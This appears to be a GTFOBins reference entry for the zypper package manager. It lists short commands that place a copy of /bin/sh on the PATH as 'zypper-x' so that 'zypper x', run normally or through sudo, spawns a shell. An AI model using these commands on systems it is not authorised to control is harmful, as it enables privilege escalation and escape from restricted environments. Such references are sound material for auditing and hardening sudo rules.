GTFOBins.github.io/_gtfobins/zypper.md
Andrea Cardaci b92d9e0ec2 Fix sudo zypper
`PATH` is a forbidden variable that is not preserved by -E anyway.
2020-06-10 22:54:20 +02:00

611 B

functions
shell sudo
description code
This requires `/bin/sh` to be copied to `/usr/lib/zypper/commands/zypper-x` and this usually requires elevated privileges. zypper x
code
TF=$(mktemp -d) cp /bin/sh $TF/zypper-x export PATH=$TF:$PATH zypper x
description code
This requires `/bin/sh` to be copied to `/usr/lib/zypper/commands/zypper-x` and this usually requires elevated privileges. sudo zypper x
code
TF=$(mktemp -d) cp /bin/sh $TF/zypper-x sudo PATH=$TF:$PATH zypper x